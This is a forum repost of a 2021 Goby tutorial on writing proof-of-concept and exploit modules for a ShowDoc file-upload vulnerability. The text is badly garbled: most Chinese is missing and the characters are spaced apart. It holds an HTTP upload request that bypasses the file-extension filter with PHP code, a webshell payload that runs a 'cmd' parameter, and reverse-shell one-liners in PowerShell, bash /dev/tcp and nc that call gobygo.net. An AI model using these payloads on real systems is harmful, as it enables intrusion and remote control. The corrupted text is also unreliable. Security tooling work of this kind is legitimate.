[17852] 2021-06-29_技术分享记一次不停自我追问的学习(上)——漫漫PoC之路

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2021-06-29_技术分享记一次不停自我追问的学习(上)——漫漫PoC之路   |     P o C   C o r p 0 r a 1   G o b y S e c   2 0 2 1 - 0 6 - 2 9 G o b y 1 6   7 4 9 5         1 9     1 d a y     P o C     G U I     G o   使   G o b y     A P I     P o C   s h e l l   G o   E X P     0 1 1 . 1  
S h o w d o c   S h o w D o c   <   V 2 . 8 . 3 h t t p s : / / w w w . c n v d . o r g . c n / f l a w / s h o w / C N V D - 2 0 2 0 - 2 6 5 8 5 1 . 2   W i n d o w s 1 0 P H P S t u d y 2 0 1 6 V S c o d e G o b y B u r p s h o w d o c - V 2 . 6 . 7     h t t p s : / / g i t h u b . c o m / s t a r 7 t h / s h o w d o c 1 . 3   P o C 1 . 4     0 2   G o b y     G U I     P o C & E X P 2 . 1     P o C 2 . 1 . 1     C N V D     B U G P O S T   / i n d e x . p h p ? s = / h o m e / p a g e / u p l o a d I m g   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 : 8 1 C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - - - - - - - - - - - - - - - - - - - - - - - - 3 4 6 0 3 1 0 6 5 7 1 9 0 2 7 7 2 4 7 0 3 3 2 9 9 5 2 9 5 2 C o n t e n t - L e n g t h :   2 5 2 C o n n e c t i o n :   c l o s e - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 3 4 6 0 3 1 0 6 5 7 1 9 0 2 7 7 2 4 7 0 3 3 2 9 9 5 2 9 5 2 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " e d i t o r m d - i m a g e - f i l e " ;   f i l e n a m e = " 1 . < > p h p " C o n t e n t - T y p e :   t e x t / p l a i n < ? p h p   p h p i n f o ( ) ; ? > - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 3 4 6 0 3 1 0 6 5 7 1 9 0 2 7 7 2 4 7 0 3 3 2 9 9 5 2 9 5 2 - - / / g o b y g o l i b g o b y - c m d - h g o b y - c m d   - m o d e   g e n p o c   - C N V D I D   C N V D - 2 0 2 0 - 2 6 5 8 5   - e x p o r t F i l e   e x p l o i t s u s e r C N V D - e x p o r t . g o / / g o b y g o l i b e x p l o i t s u s e r
1 .     G o b y   l o g   2 .     P o C     b u g   S c a n S t e p s       G o b y   2 . 1 . 2     P o C   2 . 1 . 3     G o b y P o C   w r i t i n g   s u g g e s t i o n s h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / P o C - w r i t i n g - s u g g e s t i o n s   2 . 1 . 4     P o C     T i p s 1 .     P o C     I P   2 .     G o b y     P o C   使   P o C 3 .     G o b y     V S C o d e     C M D   " G o b y Q u e r y " :   " a p p = " s h o w D o c " " " S e t V a r i a b l e " :   [ ]   g o b y - c m d   - m o d e   r u n p o c   - o p e r a t i o n   s c a n   - p o c F i l e   e x p l o i t s u s e r a . g o   - t a r g e t   1 2 7 . 0 . 0 . 1
G o b y   h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / V u l n e r a b i l i t y - w r i t i n g - g u i d e 4 .     b u r p     P o C   使   G U I     @ H u a i N i a n   J s o n     P o C & E X P   2 . 2     E X P   P o C   访   E X P     h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / V u l n e r a b i l i t y - w r i t i n g - g u i d e # e x p - % E 7 % B C % 9 6 % E 5 % 8 6 % 9 9 1 .     t r u e 2 .     P o C     E X P     3 .   4 .   1 .   G o b y   G U I     E X P     G U I     P o C     2 .   p c a p     1 2 7 . 0 . 0 . 1     I P     s o c k e t     1 2 7 . 0 . 0 . 1 2 . 3     P O C & E X P 2 . 2 . 1   H a s E x p S c a n S t e p s E x p l o i t S t e p s S c a n S t e p s E x p l o i t S t e p s
  G o b y P o C   w r i t i n g   s u g g e s t i o n s :   h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / P o C - w r i t i n g - s u g g e s t i o n s   1 .   P H P   2 .   3 .     G o b y     G o b y P O C J S O N   h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / V u l n e r a b i l i t y - w r i t i n g - g u i d e 4 .   r e g e x 1 0 1 5 .   / H o s t i n f o + P u b l i c / U p l o a d s + + 1 .   2 .   3 .     G o b y     U R L   使 4 .   2 0 0 u n l i n k ( ) u n l i n k ( ) u n l i n k ( ) u n l i n k ( ) d a t e f i l e / P u b l i c / U p l o a d s / { { { d a t e } } } / { { { f i l e } } }
2 . 2 . 2     P o C     P o C     p h p     e c h o     2 0 0 s u c c e s s   P o C     e c h o     G o b y   G U I   ( G o b y     G U I   ) 2 . 2 . 3     G o b y G U I     ;     u n l i n k ( ) e c h o
1 .   G o b y   j s o n 使 , 2 .   T r i c k 1 .   G o b y     P O C     E X P   E X P     E X P   G o b y - c m d . e x e     s c a n     e x p l o i t     e x p l o i t   2 .   E X P 3 .     c m d     E X P     G U I   E X P     B U G 1 .     B U G   j s o n     E X P   使   E x p l o i t S t e p s     P o C   E X P     B U G 2 .     B U G w i n d o w s     c m d 使     E x p P a r a m s { { { } } } < ? p h p   s y s t e m ( " { { { c m d } } } " ) ; u n l i n k ( ) ;   ? > - p a r a m s   ' { " c m d " : " w h o a m i " } ' g o b y - c m d   - m o d e   r u n p o c   - o p e r a t i o n   e x p l o i t   - p o c F i l e   e x p l o i t s u s e r a . g o   - t a r g e t   1 2 7 . 0 . 0 . 1   - p a r a m s   " { " c m d " : " w h o a m i " } " S e t V a r i a b l e " o u t p u t | l a s t b o d y " - p a r a m s   ' { " c m d " : " w h o a m i " } ' i n v a l i d   c h a r a c t e r   ' ' '   l o o k i n g   f o r   b e g i n n i n g   o f   v a l u e " { " c m d " : " w h o a m i " } "
  0 3   G o     G o b y     P o C 3 . 1     G O     P o C 使   G U I   1 .   使 2 .     D I Y   使 3 .     j s o n     P o C     G o   4 .   B U G   b u g     j s o n     G o   1 .     P o c   2 .     G o     c o d e   d e m o   U R I     G o b y V u l n e r a b i l i t y - w r i t i n g - g u i d e g o l a n g - h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / V u l n e r a b i l i t y - w r i t i n g - g u i d e   G o 1 .     P o C P o C   E X P   / P u b l i c / U p l o a d s / 2 0 2 1 - 0 6 - 2 4 /
2 .   d e m o P O C U r i 3 .   3 . 2     P o C 3 . 2 . 1     G o     r e q u e s t P O C 1 .   G o     C o p y   i f   i f   r e t u r n   t r u e 2 .   G o   使   使     r e g e x . g o     P o C   3 .   G o     使   f m t . g o P O C 4 .   G o     G U I     使 5 .   G o       6 .   G o     P o C     k e y     ,   k e y 使 h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / V u l n e r a b i l i t y - w r i t i n g - g u i d e   G o     P o C & E X P     G o     G U I     J s o n   便   G o b y     G U I   r e g e x p . M u s t C o m p i l e ( ) f m t . S p r i n t f ( " % s " , v a r R a n d o m H e x S t r i n g ( ) d a t e f i l e e x p R e s u l t . O u t p u t   = f m t . S p r i n t f ( " % s / P u b l i c / U p l o a d s / % s / % s " ,   e x p R e s u l t . H o s t I n f o ,   d a t e [ 1 ] ,   f i l e [ 1 ] ) p e i q i R a n d o m H e x S t r i n g ( ) b o u n d a r y = - - - - - - - x x x x x R a n d o m H e x S t r i n g ( )
3 . 2 . 2   G o b y   1 .   G o b y     j s o n   2 .   G o   ? 使 3 .   G o     p a y l o a d   3 . 2 . 3     s h e l l   s h e l l   s h e l l 1 .     p a y l o d   s h e l l 2 .     G o b y     s h e l l     d e m o   h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / V u l n e r a b i l i t y - w r i t i n g - g u i d e # % E 5 % A 6 % 8 2 % E 4 % B D % 9 5 % E 4 % B D % B F % E 7 % 9 4 % A 8 - g o b y - % E 7 % 9 A % 8 4 - g o d s e r v e r - % E 5 % 8 F % 8 D % E 5 % B C % B 9 - s h e l l 3 .     s h e l l s h e l l   p o p e n ( )   (   p a y l o a d   ) G o b y S h e l l     1 0     @ g o 0 p     s h e l l   G o d s e r v e r     s h e l l   O K   使 G o b y P O C h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y / w i k i / P o C - w r i t i n g - s u g g e s t i o n s # % E 5 % 8 5 % B 6 % E 4 % B B % 9 6 % E 5 % B B % B A % E 8 % A E % A E E x p P a r a m s s s . P a r a m s [ " c m d " ] . ( s t r i n g ) f m t . S p r i n t f ( " % s " , v a r u n l i n k ( ) u n l i n k ( ) p h p _ u n a m e ( ) / / G o b y g o d s e r v e r / / R e v e r s e T C P B y P o w e r s h e l l p o w e r s h e l l   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / g o b y g o . n e t / p s / r s . p s 1 ' ) ; r s   - H   g o b y g o . n e t   - P   3 5 3 5 5 / / R e v e r s e T C P B y B a s h b a s h   - i   > &   / d e v / t c p / g o b y g o . n e t / 3 5 3 5 5   0 > & 1 / / R e v e r s e T C P B y N c B s d r m   / t m p / f ; m k f i f o   / t m p / f ; c a t   / t m p / f | / b i n / s h   - i   2 > & 1 | n c   g o b y g o . n e t   3 5 3 5 5   > / t m p / f
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则